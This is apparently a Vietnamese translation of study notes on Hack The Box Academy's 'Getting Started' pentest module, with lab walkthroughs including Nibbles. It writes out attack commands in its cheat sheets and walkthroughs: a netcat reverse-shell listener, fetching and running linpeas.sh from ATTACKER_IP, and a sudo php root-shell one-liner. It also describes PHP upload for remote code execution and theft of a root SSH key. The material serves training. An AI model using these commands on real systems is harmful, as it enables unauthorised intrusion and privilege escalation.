

Bắt đầu — Hack The Box Academy (Getting Started)

Ghi chép cuối đầy đủ của mô-đun

Lộ trình: Penetration [LAB_PASSWORD_REDACTED] Job Role Path

Danh mục: Thông thường / Tấn công

Trình độ: Cơ bản / Tier 1

Số phần: 23

Bài tập tương tác: 8

Trạng thái: Hoàn thành

Tổng quan mô-đun

Mô tả mô-đun

Mô-đun giới thiệu nền tảng kiểm thử xâm nhập và Hack The Box. Nội dung hướng dẫn từng bước giải máy thử thách đầu tiên, xử lý sự cố và cách khởi đầu thành công trong lĩnh vực này. Các chủ đề gồm:

- tổng quan an toàn thông tin
- bản phân phối phục vụ pentest
- thuật ngữ và công nghệ thông dụng
- nền tảng quét và liệt kê
- sử dụng mã khai thác công khai
- shell, leo thang đặc quyền và truyền tệp
- sử dụng nền tảng HTB
- hướng dẫn từng bước giải máy HTB đầu tiên
- lỗi thường gặp và cách xin trợ giúp
- hoàn thành máy thử thách không dựa vào hướng dẫn
- bước tiếp theo trong lĩnh vực

Tóm tắt mô-đun

Mô-đun giới thiệu khái niệm cốt lõi của pentest và hệ sinh thái HTB, tập trung xây dựng nền tảng thực hành. Không chỉ trình bày lệnh, mô-đun dạy quy trình: liệt kê, diễn giải, tấn công, ổn định truy cập, leo thang đặc quyền, ghi chép và tiếp tục tiến bộ.

Kiến thức tiên quyết được khuyến nghị

- Introduction to Networking (Nhập môn mạng)
- Linux Fundamentals (Nền tảng Linux)
- Introduction to Web Applications (Nhập môn ứng dụng web)
- Web Requests (Yêu cầu web)
- Learning Process (Quá trình học tập)

Mục tiêu học tập

Sau khi hoàn thành, người học cần có khả năng:

1. Hiểu vai trò người pentest trong an toàn thông tin.
2. Phân biệt đánh giá lỗ hổng với kiểm thử xâm nhập.
3. Thiết lập môi trường pentest cơ bản.
4. Kết nối môi trường HTB qua VPN, kiểm chứng kết nối.
5. Liệt kê dịch vụ và ứng dụng web bước đầu.
6. Tìm, xác minh mã khai thác công khai phù hợp.
7. Có reverse shell, bind shell và cải thiện tính tương tác terminal.
8. Nhận diện hướng leo thang đặc quyền thông dụng.
9. Truyền tệp giữa máy tấn công với mục tiêu.
10. Sử dụng nền tảng HTB có mục đích.
11. Giải Nibbles theo quy trình có phương pháp.
12. Củng cố nền tảng để tiến tới máy đã nghỉ (retired), máy đang hoạt động (live) và mô-đun mới.

Triết lý thực hành của mô-đun

Mô-đun đồng thời triển khai hai hướng:

- **học có hướng dẫn**, khái niệm được dạy từng bước;
- **học qua khám phá**, người học lặp lại phương pháp, xây dựng tính tự chủ.

Giải máy thử thách không chỉ quan trọng ở kết quả cuối. Giá trị thực nằm ở:

- xây dựng quy trình lặp lại được;
- học quan sát manh mối;
- tổ chức thông tin;
- biết khi nào cần liệt kê sâu hơn;
- biến mỗi phát hiện thành giả thuyết tấn công.

Cấu trúc đầy đủ theo từng phần

1. Tổng quan an toàn thông tin (Infosec Overview)

Ý chính

An toàn thông tin rộng hơn pentest nhiều. Mô-đun mở đầu bằng việc đặt vai trò pentester vào bối cảnh infosec rộng lớn hơn.

Các điểm chính

- Bộ ba **CIA** là cốt lõi:
 - **Confidentiality**: tính bảo mật
 - **Integrity**: tính toàn vẹn

- **Availability:** tính sẵn sàng

- **Quản lý rủi ro** gồm:

1. nhận diện rủi ro
2. phân tích rủi ro
3. đánh giá rủi ro
4. xử lý rủi ro
5. giám sát rủi ro

- **Red Team, Blue Team** đại diện các phía khác nhau:

- Red Team mô phỏng người tấn công;
- Blue Team bảo vệ, giám sát, ứng phó.
- Pentester giúp phát hiện rủi ro kỹ thuật thực tế trước kẻ tấn công.

Điều cần ghi nhớ

Pentest là chuyên môn tấn công nằm trong mục tiêu lớn hơn: giảm rủi ro cho doanh nghiệp.

2. Bắt đầu với bản phân phối pentest

Ý chính

Trước khi tấn công bất cứ thứ gì, cần môi trường làm việc ổn định, cách ly và có thể tái tạo.

Các điểm chính

- Bản phân phối pentest chuẩn hóa công cụ và quy trình.
- Nên dùng **VM sạch**, tránh lẫn dữ liệu giữa môi trường.
- Mô-đun giới thiệu ****Parrot [LAB_CREDENTIAL_REDACTED]**
- Hai định dạng phân phối thông dụng:
 - **ISO**
 - **OVA**
- Giới thiệu khái niệm **hypervisor** (trình quản lý máy ảo):
 - VirtualBox
 - VMware Workstation
 - Proxmox
 - VMware ESXi

Điều cần ghi nhớ

Máy tấn công thuộc phương pháp làm việc. Môi trường sạch, cách ly, chuẩn hóa làm thao tác an toàn và dễ dự đoán hơn.

3. Giữ công việc có tổ chức

Ý chính

Ghi chép, tổ chức là phần của công việc kỹ thuật, không phải phần phụ.

Các điểm chính

- Đề xuất thư mục theo khách hàng/dự án/phạm vi.
- Ví dụ thư mục hữu ích:
 - evidence — bằng chứng
 - credentials — thông tin xác thực
 - screenshots — ảnh chụp
 - logs — nhật ký
 - scans — kết quả quét
 - scope — phạm vi
 - tools — công cụ
- Công cụ ghi chú được đề cập:
 - CherryTree
 - Visual Studio Code
 - Evernote
 - Notion
 - GitBook
 - Sublime Text
 - Notepad++
- Ý tưởng duy trì kho kiến thức riêng xuất hiện sớm trong mô-đun.

Điều cần ghi nhớ

Tổ chức tốt giúp liệt kê, tái hiện và báo cáo tốt hơn.

4. Kết nối bằng VPN

Ý chính

Truy cập HTB phụ thuộc kết nối VPN chính xác.

Các điểm chính

- Giải thích **VPN** là mạng riêng ảo.
- Cách dùng:
 - `openvpn user.ovpn`
- Xác nhận kết nối:
 - tìm Initialization Sequence Completed
 - xem tun0 bằng `ifconfig` hoặc `ip a`
 - kiểm tra tuyến bằng `netstat -rn`
- Nội dung khác:
 - chọn khu vực
 - vấn đề khi nhiều thiết bị kết nối
 - xử lý sự cố cơ bản

Điều cần ghi nhớ

Trước khi tốn thời gian tìm “lỗi mục tiêu”, luôn xác nhận kết nối, tuyến và IP VPN.

5. Thuật ngữ thông dụng

Ý chính

Mô-đun thống nhất thuật ngữ để người học không lạc hướng trong lộ trình.

Các điểm chính

Shell

- Giao diện tương tác với hệ điều hành.
- Có thể chỉ chương trình (bash, sh, PowerShell) hoặc quyền truy cập có được trên mục tiêu.

Cổng (Port)

- Điểm truy cập tới dịch vụ.
- Ví dụ:
 - 21 FTP
 - 22 SSH
 - 23 Telnet
 - 25 SMTP
 - 80 HTTP
 - 161 SNMP
 - 389 LDAP
 - 443 HTTPS
 - 445 SMB
 - 3389 RDP

Máy chủ web

- Dịch vụ nhận HTTP/HTTPS, cung cấp ứng dụng web.
- Mô-đun đề cập tầm quan trọng **OWASP Top 10**.

Điều cần ghi nhớ

Hiểu thuật ngữ, giao thức, cổng tăng tốc đọc kết quả quét và ưu tiên tấn công.

6. Công cụ cơ bản

Ý chính

Công cụ “cơ bản” là nền tảng gần như toàn bộ công việc còn lại.

Các điểm chính

SSH

- Giao thức quản trị từ xa, thường ở cổng 22.
- Cách dùng cơ bản:

```
ssh user@host  
ssh -i key user@host
```

- Còn được dùng chuyển tiếp cổng.

Netcat

- Công cụ rất linh hoạt để tương tác cổng TCP/UDP.
- Hữu ích cho:
 - thu thập banner
 - tiến trình lắng nghe
 - reverse shell, bind shell
 - gỡ lỗi đơn giản

Tmux

- Bộ ghép kênh terminal.
- Phím tắt:
 - Ctrl+b c tạo cửa sổ mới
 - Ctrl+b % chia dọc
 - Ctrl+b " chia ngang
 - Ctrl+b + phím mũi tên để di chuyển

Vim

- Trình soạn thảo hữu ích trên máy đã xâm nhập.
- Chế độ chính:
 - normal — thông thường
 - insert — chèn
 - command — lệnh
- Lệnh thiết yếu:
 - i
 - :w
 - :q
 - :wq
 - :q!

Điều cần ghi nhớ

SSH, nc, tmux, vim xuất hiện liên tục. Nắm nền tảng của chúng làm tăng năng suất.

7. Quét dịch vụ

Ý chính

Dịch vụ, cổng và phiên bản cụ thể có thể thay đổi hoàn toàn cách tấn công.

Các điểm chính

- Vai trò **Nmap** trong nhận diện cổng và dịch vụ.

- Lượt quét cơ bản:

```
nmap <ip>
nmap -sV -sC <ip>
nmap -p- <ip>
```

- Thảo luận **thu thập banner**.

- Ví dụ FTP:

- liệt kê banner
- truy cập ẩn danh
- liệt kê thư mục
- tải tệp

- Ví dụ SMB:

- smb-os-discovery
- smbclient
- liệt kê thư mục chia sẻ

- Ví dụ SNMP:

- snmpwalk
- community string công khai và riêng

Điều cần ghi nhớ

Liệt kê dịch vụ cần kết hợp:

- quét ban đầu
- phát hiện phiên bản
- script hữu ích
- tương tác thủ công với dịch vụ.

8. Liệt kê web

Ý chính

Ứng dụng web gần như luôn mở rộng đáng kể bề mặt tấn công.

Các điểm chính

- Công cụ, kỹ thuật:

- Gobuster
- liệt kê DNS/tên miền con
- curl
- whatweb

- phân tích chứng chỉ
- đọc robots.txt
- xem mã nguồn
- Nội dung cho thấy:
 - chú thích HTML có thể lộ manh mối;
 - README, tệp mặc định có thể lộ phiên bản;
 - robots.txt có thể chỉ vùng nhạy cảm;
 - bảng quản trị thường nằm ở thư mục dễ đoán.

Điều cần ghi nhớ

Mỗi cổng web là một hệ sinh thái:

- thư mục
 - tệp
 - công nghệ
 - header
 - chú thích
 - nội dung ẩn
 - điểm quản trị.
-

9. Mã khai thác công khai

Ý chính

Sau nhận diện dịch vụ, phiên bản, cần kiểm tra mã khai thác công khai phù hợp.

Các điểm chính

- Tìm thủ công qua Google.
- Tìm cục bộ bằng:
`searchsploit <serviço ou versão>`
- Giới thiệu **Metasploit Framework**:
 - `msfconsole`
 - `search`
 - `use`
 - `show options`
 - `check`
 - `run / exploit`
- Mã khai thác công khai không loại bỏ nhu cầu hiểu kỹ thuật.

Điều cần ghi nhớ

Tìm mã khai thác dễ; xác nhận nó thực sự phù hợp mục tiêu mới là công việc chính.

10. Các loại shell

Ý chính

Chạy được mã trên mục tiêu chưa đủ; phải hiểu shell có được thuộc loại nào và cách vận hành.

Các điểm chính

Reverse shell

- Mục tiêu kết nối ngược về máy tấn công.
- Ví dụ tiến trình lắng nghe:

```
nc -lvnp 1234
```

Bind shell

- Mục tiêu mở cổng, chờ máy tấn công kết nối.

Web shell

- Script web nhận lệnh qua tham số HTTP.
- Ví dụ thông dụng bằng PHP, JSP, ASP.

Cải thiện tương tác

- Nâng cấp sang pseudo-TTY:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

- Điều chỉnh terminal:

```
stty raw -echo
fg
export TERM=xterm-256color
stty rows <n> columns <n>
```

Điều cần ghi nhớ

Shell ban đầu hiếm khi là shell cuối. Ổn định truy cập thuộc công việc.

11. Leo thang đặc quyền

Ý chính

Xâm nhập ban đầu hiếm khi là mục tiêu cuối, thường chỉ là điểm xuất phát.

Các điểm chính

- Công cụ liệt kê:
 - LinEnum
 - LinPEAS
 - WinPEAS
- Hướng được đề cập:
 - khai thác kernel
 - phần mềm có lỗ hổng
 - quyền sudo

- tác vụ định kỳ
- thông tin xác thực bị lộ
- khóa SSH
- Ví dụ quan trọng:
 - `sudo -l`
 - quyền NOPASSWD
 - lạm dụng lệnh được phép

Điều cần ghi nhớ

PrivEsc = liệt kê cục bộ + diễn giải. Script hỗ trợ, suy luận hoàn thiện đường đi.

12. Truyền tệp

Ý chính

Đến một thời điểm, cần đưa tệp tới mục tiêu hoặc lấy về.

Các điểm chính

- Tải bằng `wget`, `curl`
- Sao chép bằng `scp`
- Truyền qua base64
- Xác minh bằng:
 - `file`
 - `md5sum`

Ví dụ hữu ích

```
python3 -m http.server 8000
wget http://ATTACKER_IP:8000/file
curl -O http://ATTACKER_IP:8000/file
scp file user@host:/tmp/file
```

Điều cần ghi nhớ

Truyền tệp cần đơn giản, kiểm chứng được, lặp lại được.

13. Bước khởi đầu

Ý chính

Mô-đun đưa lộ trình tiến bộ ban đầu trong và ngoài HTB.

Các điểm chính

- Tài nguyên luyện tập:
 - Juice Shop
 - Metasploitable 2
 - Metasploitable 3
 - DVWA
- Kênh hữu ích:

- lppSec
- VbScrub
- STÖK
- LiveOverflow
- Nền tảng hữu ích:
 - OverTheWire
 - UnderTheWire
 - trang hướng dẫn, Starting Point
- Khuyến nghị:
 - máy để đã nghỉ
 - tracks (nhóm bài theo chủ đề)
 - writeup (bài trình bày lời giải)
 - thực hành đều

Điều cần ghi nhớ

Khởi đầu tốt là tăng lượng thực hành mà vẫn giữ nền tảng.

14. Sử dụng HTB

Ý chính

HTB có nhiều thành phần, mỗi thành phần phục vụ mục đích khác nhau.

Các điểm chính

- **Profile** — hồ sơ
- **Rankings** — xếp hạng
- **Tracks** — nhóm bài theo chủ đề
- **Machines** — máy thử thách:
 - active — đang hoạt động
 - retired — đã nghỉ
- **Challenges** — thử thách
- **Fortress**
- **Endgame**
- **Pro Labs**
- **Battlegrounds**

Điều cần ghi nhớ

Không nên sử dụng HTB ngẫu nhiên; hiểu nền tảng giúp xây dựng tiến trình thực sự.

15. Nibbles — Liệt kê

Ý chính

Ứng dụng thực tế đầu tiên trên máy thử thách thật.

Quy trình chính

- Nmap nhanh
- Nmap với -sV, -sC, --open
- Nhận diện:
 - SSH
 - HTTP
- Phát hiện Nibbleblog

Điều cần ghi nhớ

Phương pháp quan trọng hơn mục tiêu. Nibbles là bài đầu biến liệt kê thành giả thuyết cụ thể.

16. Nibbles — Thu thập dấu vết web

Ý chính

Liệt kê web sâu tới phiên bản CMS chính xác và manh mối cần cho khai thác.

Quy trình chính

- whatweb
- chú thích HTML trở tới /nibbleblog/
- gobuster
- đọc README
- nhận diện phiên bản **4.0.3**
- truy cập bảng quản trị
- liệt kê thư mục, tệp
- tìm users.xml, config.xml

Manh mối quan trọng

- người dùng admin
- danh sách chặn IP khi thử quá nhiều
- mật khẩu có thể liên quan “nibbles”

Điều cần ghi nhớ

Liệt kê web chi tiết thường làm lộ:

- phiên bản
 - bảng đăng nhập
 - người dùng hợp lệ
 - hành vi phòng thủ
 - đường khai thác.
-

17. Nibbles — Truy cập ban đầu

Ý chính

Với manh mối đúng, chuyển trọng tâm từ đăng nhập web sang thực thi mã.

Quy trình chính

- dùng bảng Nibbleblog đã xác thực
- phân tích plugin **My Image**
- tải mã PHP lên
- xác nhận thực thi mã từ xa (RCE)
- chuyển thành reverse shell
- lắng nghe với nc
- nâng cấp TTY bằng python3

Bằng chứng quan trọng

Sau truy cập ban đầu, tìm được `user.txt` trong `/[LAB_CREDENTIAL_REDACTED]/`.

Điều cần ghi nhớ

RCE qua tải lên thiếu kiểm tra là chuỗi kinh điển:

- thông tin xác thực
 - bảng quản trị
 - chức năng có lỗ hổng
 - web `[LAB_CREDENTIAL_REDACTED]` shell
 - ổn định truy cập.
-

18. Nibbles — Leo thang đặc quyền

Ý chính

Từ truy cập với nibbler, bước tiếp theo là thành root.

Quy trình chính

- giải nén `personal.zip`
- tìm `monitor.sh`
- `sudo -l`
- quyền NOPASSWD chạy script
- sửa script
- chạy với root
- lấy `root.txt`

Điều cần ghi nhớ

Script người dùng được sudo cho phép là hướng rất mạnh, đặc biệt nếu nằm ở nơi có thể sửa.

19. Nibbles — Cách lấy quyền người dùng thay thế bằng Metasploit

Ý chính

Có thể giải bằng Metasploit, cho thấy một mục tiêu có nhiều đường tiếp cận.

Quy trình chính

- search nibbleblog
- mô-đun exploit/multi/[LAB_CREDENTIAL_REDACTED]
- cấu hình:
 - RHOSTS
 - USERNAME
 - [LAB_PASSWORD_REDACTED]
 - TARGETURI
 - LHOST
 - LPORT
- có phiên làm việc
- shell trên máy

Điều cần ghi nhớ

Biết giải bằng Metasploit hữu ích; biết giải không dùng nó vẫn thiết yếu.

20. Lỗi thường gặp

Ý chính

Nhiều lỗi người mới là vướng mắc thao tác, không phải lỗi kỹ thuật phức tạp.

Các điểm chính

VPN

- xác nhận kết nối
- kiểm tra tun0
- kiểm tra tuyến
- thử gateway

Proxy/Burp

- nhớ tắt proxy khi cần
- không để trình duyệt mắc ở cấu hình cũ

SSH

- vấn đề khóa, mật khẩu
- tạo lại bằng ssh-keygen

Điều cần ghi nhớ

Phần lớn xử lý sự cố bắt đầu từ kết nối, proxy, terminal thay vì mục tiêu.

21. Xin trợ giúp

Ý chính

Xin trợ giúp đúng cách là một kỹ năng.

Các điểm chính

- Kênh hữu ích:
 - diễn đàn HTB
 - Discord HTB
 - HTB FAQ
- Cách đặt câu hỏi:
 1. đang mắc ở đâu
 2. đã thử gì
 3. mong đợi kết quả nào
 4. quan sát lỗi/hành vi nào
- Cách trả lời:
 - không tiết lộ lời giải không cần thiết
 - đưa định hướng
 - cung cấp đủ bối cảnh

Điều cần ghi nhớ

Câu hỏi tốt giúp nhận hỗ trợ nhanh; câu trả lời tốt củng cố cộng đồng và hiểu biết.

22. Bước tiếp theo

Ý chính

Kết thúc bằng tiến trình thực tế sau máy đầu tiên.

Khuyến nghị chính

- lấy root trên máy dễ đã nghỉ
- tiếp theo máy trung bình đã nghỉ
- máy dễ đang hoạt động đầu tiên
- tiếp theo máy đang hoạt động trung bình/khó
- học Academy Modules song song
- duy trì danh sách mô-đun tiếp theo
- đóng góp cộng đồng
- viết hướng dẫn giải

Điều cần ghi nhớ

Máy thử thách và mô-đun cần đi cùng nhau: một củng cố thực hành, một bù khoảng trống khái niệm.

23. Kiểm tra kiến thức

Ý chính

Kết thúc: lặp lại quy trình không có hướng dẫn.

Các điểm chính

- liệt kê mang tính lặp
- lặp lại quy trình Nibbles
- kết hợp:
 - Nmap
 - whatweb
 - Gobuster
 - Searchsploit
- liệt kê cục bộ
- [LAB_CREDENTIAL_REDACTED]
- cân nhắc nhiều đường truy cập ban đầu, leo thang

Điều cần ghi nhớ

Kiểm tra kiến thức thực sự là khả năng tự chủ.

Tổng hợp kỹ thuật của mô-đun

Quy trình tổng quát đã học

Toàn mô-đun xây dựng chuỗi:

1. xác nhận kết nối
2. liệt kê cổng, dịch vụ
3. nhận diện công nghệ
4. tìm phiên bản, manh mối
5. tìm mã khai thác công khai hoặc khai thác thủ công
6. có truy cập ban đầu
7. cải thiện shell
8. liệt kê cục bộ
9. leo thang đặc quyền
10. thu bằng chứng
11. ghi chép
12. lặp trên mục tiêu mới

Công cụ chính

- Nmap
- Gobuster
- WhatWeb
- Curl
- Searchsploit
- Metasploit
- Netcat
- SSH
- Tmux
- Vim
- LinEnum
- LinPEAS
- wget / curl / scp
- base64

Thói quen đúng được củng cố

- lưu kết quả quét
- ghi lại mọi thứ
- luôn xác nhận phiên bản, công nghệ
- không tin một lượt quét duy nhất
- liệt kê web sâu
- cải thiện shell ngay sau truy cập ban đầu
- liệt kê cục bộ thủ công và tự động
- nghĩ nhiều đường khả thi
- không phụ thuộc hướng dẫn quá sớm

Bảng tra nhanh thao tác

Nmap

```
nmap <ip>
nmap -sV -sC <ip>
nmap -p- <ip>
nmap --top-ports=10 <ip>
nmap -sV --script vuln <ip>
```

Liệt kê web

```
whatweb http://target
gobuster dir -u http://target -w /usr/share/[LAB_CREDENTIAL_REDACTED]/common.txt
curl -I http://target
curl http://[LAB_CREDENTIAL_REDACTED]
```

Searchsploit

```
searchsploit wordpress 5.6.1
searchsploit nibbleblog
searchsploit -m <id>
```

Shell

```
nc -lvnp 1234
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo
fg
export TERM=xterm-256color
```

[LAB_CREDENTIAL_REDACTED]

```
curl -LO http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
sudo -l
```

Truyền tệp

```
python3 -m http.server 8000
wget http://ATTACKER_IP:8000/file
curl -O http://ATTACKER_IP:8000/file
scp file user@host:/tmp/file
```

Các bài thực hành đã giải

Ghi chú xuất bản GitHub: Phần này mô tả đường giải và bài học nhưng tránh lộ flag dạng rõ. Để sao lưu riêng, dùng bản chi tiết có bằng chứng đầy đủ.

1. Liệt kê SMB với mật khẩu yếu của bob

Tình huống

Mục tiêu cung cấp:

- FTP ẩn danh
- SSH
- HTTP
- SMB
- Telnet
- Tomcat

Quy trình đã thực hiện

- liệt kê SMB bằng null session
- liệt kê RPC để tìm người dùng
- truy cập FTP ẩn danh
- tải login.txt
- sau đó tìm thông tin xác thực yếu của bob từ chính đề bài/mô-đun
- kết nối thư mục chia sẻ users
- tới [LAB_CREDENTIAL_REDACTED]

Bài học

- null session có thể cho liệt kê nhiều dù chưa xác thực;
- gợi ý và văn bản mô-đun quan trọng;
- thư mục mapping OK nhưng listing denied có thể thay đổi hoàn toàn với thông tin xác thực hợp lệ.

2. Liệt kê web với robots.txt và chú thích HTML

Tình huống

Bài tập yêu cầu liệt kê web và cho biết “Mọi thứ cần để đăng nhập đều đã được cung cấp”.

Quy trình đã thực hiện

- gobuster dir
- tìm robots.txt
- đọc /[LAB_PASSWORD_REDACTED]
- xem HTML
- tìm chú thích admin:[LAB_PASSWORD_REDACTED]
- đăng nhập, lấy flag trong bảng đã xác thực

Bài học

- robots.txt là manh mối phổ biến;
 - chú thích HTML vẫn là nguồn rò rỉ kinh điển;
 - liệt kê đơn giản giải được nhiều lab nhập môn.
-

3. WordPress + plugin có lỗ hổng + đọc tệp

Tình huống

Mục tiêu cung cấp WordPress; gợi ý tìm mã khai thác plugin.

Quy trình đã thực hiện

- nmap -sC -sV
- nhận diện WordPress 5.6.1
- tìm khai thác trong Metasploit
- dùng wp_simple_backup_file_read
- đọc /flag.txt

Bài học

- nhận diện CMS, plugin quan trọng ngang máy chủ web;
 - đọc tệp là ví dụ khai thác không có RCE nhưng vẫn hữu ích để lấy bí mật.
-

4. Di chuyển ngang từ user1 sang user2

Tình huống

Lab cung cấp SSH tới user1, yêu cầu tới user2.

Quy trình đã thực hiện

- SSH với cổng tùy chỉnh
- sudo -l
- phát hiện:

```
(user2 : user2) NOPASSWD: /bin/bash
```

- chuyển sang user2 bằng:

```
sudo -u user2 /bin/bash
```

- đọc /home/[LAB_CREDENTIAL_REDACTED]

Bài học

- phải chạy `sudo -l` sớm khi liệt kê cục bộ;
 - di chuyển ngang cục bộ cũng là leo thang trong phạm vi người dùng.
-

5. Leo thang từ user2 lên root bằng khóa SSH riêng

Tình huống

Sau tới user2, mục tiêu là thành root.

Quy trình đã thực hiện

- đọc /root/. [LAB_CREDENTIAL_REDACTED]

- sao chép khóa về máy tấn công

- chỉnh quyền:

```
chmod 600 id_rsa
```

- đăng nhập root:

```
ssh root@HOST -p PORT -i id_rsa
```

- lấy / [LAB_CREDENTIAL_REDACTED]

Bài học

- lộ khóa riêng là xâm phạm nghiêm trọng;
 - gợi ý “Đừng quên chmod” mang ý nghĩa thao tác trực tiếp.
-

6. Nhận diện phiên bản Apache bằng Nmap

Tình huống

Bài tập chỉ yêu cầu phiên bản Apache lấy từ quét script.

Quy trình đã thực hiện

- `nmap -sCV -p- -vvv`

- đọc trường Apache httpd 2.4.18 ((Ubuntu))

Bài học

- đôi khi câu trả lời đã có trong đầu ra;
 - phải đọc kỹ đúng vị trí kết quả.
-

7. Nibbles — Truy cập ban đầu

Tình huống

Mục tiêu là Nibbles, cần truy cập ban đầu và user.txt.

Quy trình đã thực hiện

- Nmap
- tìm /nibbleblog/
- đọc README
- xác nhận 4.0.3
- dùng mã khai thác Metasploit nibbleblog_file_upload
- reverse shell
- nâng cấp TTY
- đọc /[LAB_CREDENTIAL_REDACTED]/user.txt

Bài học

- CMS có phiên bản + bảng quản trị + plugin = bẻ mặt kinh điển;
- Metasploit tăng tốc nhưng vẫn cần hiểu quy trình.

8. Nibbles — Leo thang đặc quyền

Tình huống

Sau truy cập ban đầu, mục tiêu là root.

Quy trình đã thực hiện

- sudo -l
- phát hiện:
(root) NOPASSWD: /[LAB_CREDENTIAL_REDACTED]/personal/[LAB_CREDENTIAL_REDACTED]
- giải nén personal.zip
- ghi đè monitor.sh bằng payload cục bộ
- chmod +x
- chạy qua sudo
- shell root, đọc /[LAB_CREDENTIAL_REDACTED]

Bài học

- script sửa được, được sudo cho phép là hướng cực kỳ mạnh;
- luôn kiểm tra quyền sudo sớm.

9. Mục tiêu cuối mô-đun — Truy cập ban đầu và root

Tình huống

Bài cuối yêu cầu truy cập ban đầu, sau đó leo thang lên root.

Quy trình đã thực hiện

- khai thác ứng dụng web
- reverse shell với `www-data`
- nâng cấp shell
- tìm `user.txt`
- tải lên, chạy `linpeas.sh`
- qua `sudo -l` phát hiện:

```
(ALL : ALL) NOPASSWD: /usr/bin/php
```
- lạm dụng bằng:

```
sudo /usr/bin/php -r 'system("/bin/sh -i");'
```
- shell root
- đọc `/[LAB_CREDENTIAL_REDACTED]`

Bài học

- `www-data` với `sudo` cấu hình sai làm thử thách kết thúc nhanh;
- ngay cả lab nhập môn, LinPEAS tăng tốc xác nhận hướng đúng.

Bài học thực hành quan trọng nhất

1. Liệt kê hiệu quả hơn nóng vội

Câu trả lời gần như luôn tới từ:

- đọc đầu ra cẩn thận;
- liệt kê thư mục;
- xem lại mã nguồn;
- liệt kê cục bộ sau truy cập ban đầu.

2. Thông tin xác thực yếu xuất hiện dưới nhiều dạng

Có thể tới từ:

- tệp bỏ quên trên FTP;
- chú thích HTML;
- tên liên quan ứng dụng;
- dùng lại mật khẩu;
- tệp cấu hình;
- script, bản sao lưu.

3. `sudo -l` là bắt buộc

Trong nhiều lab, hướng leo thang phụ thuộc trực tiếp `sudo -l`.

4. Shell tương tác tốt hơn = ít lỗi hơn

Hầu hết truy cập ban đầu được cải thiện sau nâng cấp bằng `python3 pty`.

5. Metasploit hữu ích nhưng không thay phương pháp

Được dùng ở một số điểm, luôn dựa trên liệt kê đúng.

Sơ đồ tư duy cuối mô-đun

Trước khi tiếp cận mục tiêu

- chuẩn bị VM
- tổ chức thư mục
- kết nối VPN
- xác nhận tuyến

Trong liệt kê

- Nmap
- phát hiện phiên bản
- liệt kê web
- đọc tệp công khai
- nhận diện công nghệ
- tìm mã khai thác

Sau truy cập ban đầu

- cải thiện shell
- liệt kê cục bộ
- kiểm tra `sudo -l`
- tìm thông tin xác thực, script, tệp, tác vụ, khóa

Sau root

- thu bằng chứng
 - ghi đường đi
 - so phương pháp với lời giải chính thức
 - lặp trên mục tiêu khác
-

Kết luận cuối mô-đun

Getting Started chỉ mang tên nhập môn. Thực tế nó thiết lập gần như toàn bộ khung tác nghiệp xuất hiện lại trong lộ trình:

- chuẩn bị môi trường
- kết nối lab
- liệt kê dịch vụ
- liệt kê web
- tìm mã khai thác công khai
- lấy shell

- ổn định truy cập
- leo thang đặc quyền
- ghi chép
- xử lý sự cố
- sử dụng HTB
- tiến bộ sau máy đầu tiên

Giá trị lớn nhất là không chỉ dạy “gỡ gò” mà dạy **cách suy nghĩ**:

- quan sát manh mối nhỏ;
- quay lại liệt kê khi cần;
- biến thông tin thành giả thuyết;
- bình tĩnh xác minh giả thuyết;
- giữ công việc có tổ chức từ đầu tới cuối.

Mô-đun xây dựng nền tảng tư duy và tác nghiệp để giải máy với tính tự chủ tăng dần.

Bước tiếp theo được khuyến nghị

Theo nội dung mô-đun, tiến trình lý tưởng là:

1. giải thêm máy dễ đã nghĩ
2. xem ghi chép, đối chiếu writeup
3. học mô-đun nền tảng Academy song song
4. lập bài không xem từng bước
5. bắt đầu viết hướng dẫn kỹ thuật
6. dần tiến tới máy trung bình đã nghĩ và máy dễ đang hoạt động

Ghi nhận tiến độ cá nhân

Đã hoàn thành cả 23 phần và bài thực hành liên quan: liệt kê dịch vụ, web, khai thác có và không Metasploit, shell, leo thang, di chuyển ngang giữa người dùng, lấy flag trong lab có hướng dẫn. Bản PDF trích phần thực hành thể hiện toàn hành trình, gồm SMB, liệt kê web, [LAB_CREDENTIAL_REDACTED], SSH, leo thang và mục tiêu cuối.

Ghi công: Ghi chép gốc của Gabriel Martorelli — kho nguồn

([https://\[LAB_CREDENTIAL_REDACTED\]/hack-the-box-academy-notes](https://[LAB_CREDENTIAL_REDACTED]/hack-the-box-academy-notes)). Đây là bản dịch tiếng Việt, không phải tài liệu chính thức của Hack The Box Academy. Xem `ATtribution.md` (`ATtribution.md`) và `LICENSE` (`LICENSE`).